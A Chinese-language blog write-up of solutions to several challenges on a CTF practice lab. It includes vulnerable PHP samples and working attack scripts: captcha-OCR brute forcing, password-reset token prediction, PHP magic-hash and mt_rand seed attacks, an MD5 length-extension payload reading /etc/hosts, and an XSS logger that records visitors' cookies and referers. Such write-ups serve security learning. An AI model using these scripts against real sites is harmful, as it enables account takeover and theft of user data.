1. 程式人生 > >網路安全實驗室CTF練習題目

網路安全實驗室CTF練習題目

    include('flag.php'); 

    $smile = 1;  

   if (!isset ($_GET['^_^'])) $smile = 0;  
    if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;  
    if (preg_match ('/http/', $_GET['^_^']) ) $smile
= 0; if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0; if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0; if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0; if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0; if ($smile) { if (@file_exists ($_GET['^_^'])) $smile
= 0; } if ($smile) { $smile = @file_get_contents ($_GET['^_^']); if ($smile === "(●'◡'●)") die($flag); }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

顯然引數為^^=(●’◡’●),但QUERY_STRING過濾了‘’,且檔案不能存在,但可以讀取檔案內容,前面又過濾了一堆http、ftp等。因PHP自動回替換.為_,使用data協議,構造引數為:?^.^=data://text/plain;charset=unicode,(●’◡’●)

提交之前需先點一下獲取驗證碼,檢視提交後的header,取得cookie,提交的引數。 
識別驗證碼可用tesseract,程式碼如下:

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests  #呼叫url、cookie操作 檔案操作的庫
import sys
import time
from pytesseract import *
from PIL import Image

def vcode(pic_url,cookies):
    "python驗證碼識別函式"
    r = requests.get(pic_url, cookies=cookies, timeout=10)
    with open('vcode.png', 'wb') as pic:
        pic.write(r.content)
    image=Image.open('vcode.png')
    im = image_to_string(image)
    #print im
    im = im.replace(' ', '')
    if im.isdigit() and len(im)==4:
        return im
    else:
        return vcode(pic_url,cookies)

cookies = {'saeut': '14.19.157.117.1435504248010840','PHPSESSID':'2cec394dbfba709823daea4ba71eb04a'} 
payload = {'username': '13388886666', 'mobi_code': '100','user_code':'5053','Login':'submit'}
#headers = {'user-agent': 'my-app/0.0.1'}

picurl='http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php'

url="http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php"
#filename = u"D:/Users/flag.txt"

#fp = open(filename, 'a')

for i in range(100,999): 
     code1=vcode(picurl,cookies)
     #time.sleep(0.01)
     payload['user_code']=code1
     payload['mobi_code']='%d'%(i)
     wp = requests.post(url, data=payload,cookies=cookies, timeout=10)  #params=payload get,headers=headers
     #print(wp.text)
     text=wp.content
     #text=text[2:len(text)]
     #print 'length:%d'%(len(text))
     #fp.write(text.encode('utf-8'))
     responsetxt = text.encode('utf-8')
     if 'error' not in responsetxt:
           print 'The correct code is:', code1,responsetxt
           break
     else:
           print 'tring code:', i, code1,responsetxt

print("get flag success")
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

手機驗證碼從100開始嘗試,取得flag後會跳出

tring code: 294 0397 user_code or mobi_code error
tring code: 295 1728 user_code or mobi_code error
The correct code is 1728 key is 133dbc85dda4aa**)
get flag success
  • 1
  • 2
  • 3
  • 4

3、解密關第1題:http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/ 
該題說明了可重置其他使用者密碼,但不可重置管理員的。 
這裡可使用平行許可權漏洞,將其他使用者改為admin,先獲取cookie,sukey=md5(time()),嘗試執行過程中要去點一下admin賬號的重置密碼,之後很快key就出來了。 
程式碼如下:

#!/usr/bin/env python
# -*- coding: gbk -*-
import requests
import hashlib
import time
"執行前需要先點一下admin的重置密碼按鈕"
s = requests.Session()
header = {'Cookie': 'saeut=14.19.157.117.1435504248010840; PHPSESSID=ffb638b41b60e696a2793815bedc32fa'}
while True:
    pwd = hashlib.new('md5', str(int(time.time()))).hexdigest()
    url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + pwd + '&username=admin'
    r = s.get(url, headers=header)
    time.sleep(1)
    text=r.content
    responsetxt = text.encode('utf-8')
    if text != '':
        print url,r.content
        break
    else:
        print '正在破解中……', pwd
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

執行中去點一下admin的重置密碼按鈕 
正在破解中…… aa4797f696c408b8cb6ec7304fc118d0 
正在破解中…… 7257b11dde5b8d6135652a56c730947d 
正在破解中…… 656fb3b904dfbb161ba482ce7e3496b5 
正在破解中…… fd27309d902c1cc3ee209779ab5d7215 
正在破解中…… b80bfe65dc163e9b7a13e0bcb6c00349 
http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?suk 
ey=383edc5fe95d7638fae3629b29fb16f0&username=admin key is yestimeispassword

4、解密關第6題 
給定的密碼串,base64解碼出來是亂碼,顯然裡面某些字母應該是小寫,才能保證解碼出來是正確值。由於3位明文轉化為4位base64值,可以通過逐位變換大小寫來,以4個字元為單位觀察解碼後是否為可見字元。 
通過遞迴的方式遍歷,程式碼如下,執行結果最可能的結果是hey!IloveU!

#!/usr/bin/python
# -*- coding: utf-8 -*-

import base64
import binascii
b64str='AGV5IULSB3ZLVSE='
f=open('flag.txt','w')
def  base64code(s,d):
    global b64str
    global f
    if(d==len(b64str)):
        f.write(binascii.b2a_qp(base64.b64decode(s))+'\n')
    else:
        base64code(s+b64str[d],d+1)
        if b64str[d].isalpha():  
           base64code(s+b64str[d].lower(),d+1)



base64code('',0)

f.close()
f=open('flag.txt','r')
for l in f.readlines():
    if '=' not in l:
        print(l)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
<?php
$flag=FLAG;
if(isset($_POST["password"])){
    $password=$_POST['password'];
    $rootadmin="!1793422703!";
    if($password==$rootadmin){die("Please do not attack admin account!");}

    if(md5($password)==md5($rootadmin)){
        echo $flag;
    }else{
        die("Password Error!");
    }
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

這題好久沒做出來,突然搜尋php字串比較發現了思路。比較的是md5值,php進行字串比較時若若雙等號會轉化為數字再進行比較,若用===則會根據資料型別進行比較,所以這裡有漏洞。 
!1793422703!的md5值為0e332932043729729062996282883873,轉化為數字就是0,故只要password引數的md5值以0開頭且第二位為字母即可達到目的。 
http://www.219.me/posts/2884.html 這個頁面有一堆,隨便選一個傳進去即可。 
如圖

6、解密關第8題 
應該是硬體採集日誌分析,參照http://www.waitalone.cn/security-hardware-usb.html的方法,下載邏輯分析儀軟體,地址為http://downloads.saleae.com/betas/1.2.3/Logic+Setup+1.2.3.exe 
看到一串值分別為iloveyouxiaoguniang!提交過去怎麼都不對,搜尋comma為逗號,加上逗號提交成功,key為iloveyou,xiaoguniang! 
7、解密關第5題 
題目地址:http://lab1.xseclab.com/password2_454a7a7cb7213e14695c022cfb04141c/index.php 
這是道IC卡資料安全分析題目,比較典型,以後物聯網發展也是重點。需要掌握的是金額和校驗。10000為0x2710,取反為0xFFFFD8EF. 
原圖 
若要修改餘額為200元,20000為0x4e20,取反為0xFFFFB1DF,修改第6行紅框資料。 第一行為uid等資訊,前4位為uid,第5位為校驗位,一般是CRC迴圈冗餘校驗或奇偶校驗,以後再研究。將第一行或前5個位元組全改為00,提交驗證成功。 
還可以用工具計算校驗碼,工具下載:http://s1.boby.im/other/XOR&KEY.exe,計算A4BA3EAA的校驗碼為8A,將88改為8A(其實將前4個位元組求異或即得到8A)。 
修改後圖

<?php 
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])){
    if($_POST['token']==$_SESSION['token']){
        echo "PassResetSuccess! Your Flag is:".$flag;
    }else{
        echo "Token_error!";
    }
}else{
    mt_srand(time());
    $rand= mt_rand();
    $_SESSION['token']=sha1(md5($rand));
    echo "Token Generate Ok! now send email to your EmailBox!.....";
    if(sendmymail($_SESSION['token'])){
        echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check your mail box and fill your token here to reset your password!<br>";
    };
}
echo '<form action="" method="POST">
    <input type="text" name="token">
    <input type="submit" value="submit">
</form>';
echo "<!--\r\n".file_get_contents(__FILE__);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

需要比較的是傳入的post引數與隨機生成的引數並進行hash計算後的結果比較。存在漏洞的地方是mt_srand(time()); 若 時間引數不變,mt_rand()這裡生成的隨機數是固定的,因此可進行爆破。 
由於用的是PHP特性,使用PHP的requests模組進行(參考http://segmentfault.com/a/1190000002867007)下載後放置在一個目錄,如/var/tmp/下 
編寫爆破程式碼如下:

<?php
require_once '/var/tmp/Requests/library/Requests.php';
Requests::register_autoloader();
date_default_timezone_set('Asia/Shanghai');
echo time()."start\r\n";
$data = array('token' => '0', 'submit' => 'submit');
$headers=array('Cookie' =>"your cocokie value");
$response = Requests::post('http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php', $headers, $data);
$time1=time();
echo $time1."end\r\n";
echo $response->body;
//echo "time:".time()."\r\n";
//mt_srand(time());
for($i=-20;$i<20;$i++)
{
    echo $i."row:".time();
    mt_srand($time1+10+$i);
    $rand= mt_rand();
    echo $rand."\r\n";
    $token=sha1(md5($rand));
    $data = array('token' => $token, 'submit' => 'submit');
$headers=array('Cookie' =>"your cookie value");
$response = Requests::post('http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php', $headers, $data);
if(strpos($response->body,"Token_error!")!=FALSE)
{
    echo $response->body;
    break;
}
}
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

幾次迴圈很快就可得到結果: 
PassResetSuccess! Your Flag is:NotSecurityRandomNowYouKnown

9、解密關第9題: 
題目地址:http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php 
審讀原始碼,發現加密方式為md5(mysalt.message),且鹽為6位,對路徑/etc/hosts加密後得到311a96cefc6bb3fea17839489de5190b 
題目有提示MD5 Length Extension Attack! 
搜尋MD5 Length Extension Attack找到plaidctf-2014-twenty_mtpox有道題類似。 
下載工具:

git clone https://github.com/iagox86/hash_extender
cd hash_extender
make
  • 1
  • 2
  • 3

執行:

./hash_extender -f md5 -l 6 -d '/etc/hosts' -s '311a96cefc6bb3fea17839489de5190b' -a '' --out-data-format=html
Type: md5
Secret length: 6
New signature: 08972a6d7297d58896f7f8f4c7236a95
New string: %2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00
  • 1
  • 2
  • 3
  • 4
  • 5

注入引數

http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00&sign=08972a6d7297d58896f7f8f4c7236a95
  • 1

即可得到key

Flag is: Md5LenghtExtAttackNowYouSee
  • 1

10、綜合關第3題 
題目地址:http://lab1.xseclab.com/xss4_730ee2b59ca3b71c25efa2147498b35e/index.php 
題目提示:屌絲小明進入了管理員的郵箱,獲取了祕密。 
還有兩個提示:郵箱沒有xss,管理員用的手機郵箱,通過url和sid驗證。 
系統有兩個頁面,index.php錄入,post.php提交併呈現。測試發現使用者名稱和圖片說明,post頁面會對自動進行html轉換,而圖片連結url欄位未進行轉換,可進行xss注射。 
根據題目說明,傳送的圖片會到管理員郵箱進行稽核,由於速度很快,郵箱應該是自動稽核。這裡只要抓取到管理員訪問該圖片的referer即可。嘗試xss獲取referer,未成功。 
浪費了不少時間,想放棄了,但因只剩一題未解了,多有遺憾。再給管理員發信,得知思路基本那樣,構造一個圖片url,可以獲取對方IP和訪問的郵箱地址。再後來管理員提示了一個系統: 
http://t.cn/RyPhtE2. 可自動生成一個圖片,可獲取url和地址,系統就是他們自己做的,系統並未公開,說明如下:

該平臺可幫助您檢視對方的ip地址和作業系統等有關資訊。
            本系統不是XSS平臺,但擁有比XSS平臺更為特殊的功能!

使用方法:
1.將本平臺生成的圖片標籤嵌入到要探測的網頁或郵件正文中
2.訪客訪問該圖片或者圖片在頁面中被自動載入均可刺探到訪客資訊
3.到本平臺檢視獲取到的資訊即可
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

登入該系統,生成一個圖片,將圖片的url放到題目index.php中圖片連結url處,提交後該系統會自動記錄訪問情況,發現一條記錄: 
訪問瀏覽器為

SAE/fetchurl-x2wowz30k1 Mozilla/6.0 (Macintosh; Intel Mac OS X 10_10_9) AppleWebKit/538.38 (KHTML, like Gecko) Chrome Safari
  • 1
<?php
$mysql = new SaeMysql();
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');

$sql="insert into xsstest values (1,'".$ip."','".$time."','".$referer."','".$cookie."')";

echo $sql."<br>";
$mysql->runSql($sql);

if ($mysql->errno() != 0)
{
    die("Error:" . $mysql->errmsg());
}

$mysql->closeDb();

?> 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

在圖片連結中輸入該頁面訪問地址,提交後資料庫多了兩條記錄,一條是題目平臺訪問,一條是客戶端post.php頁面呈現時訪問記錄。題目平臺訪問的referer即為郵箱地址,訪問該地址獲得可以。 
題目其實不復雜,只要xss獲得referer地址即可,比較簡單的xss注入。但提示模糊,線索不清楚,題目不算太好,不過也算開拓了下思路。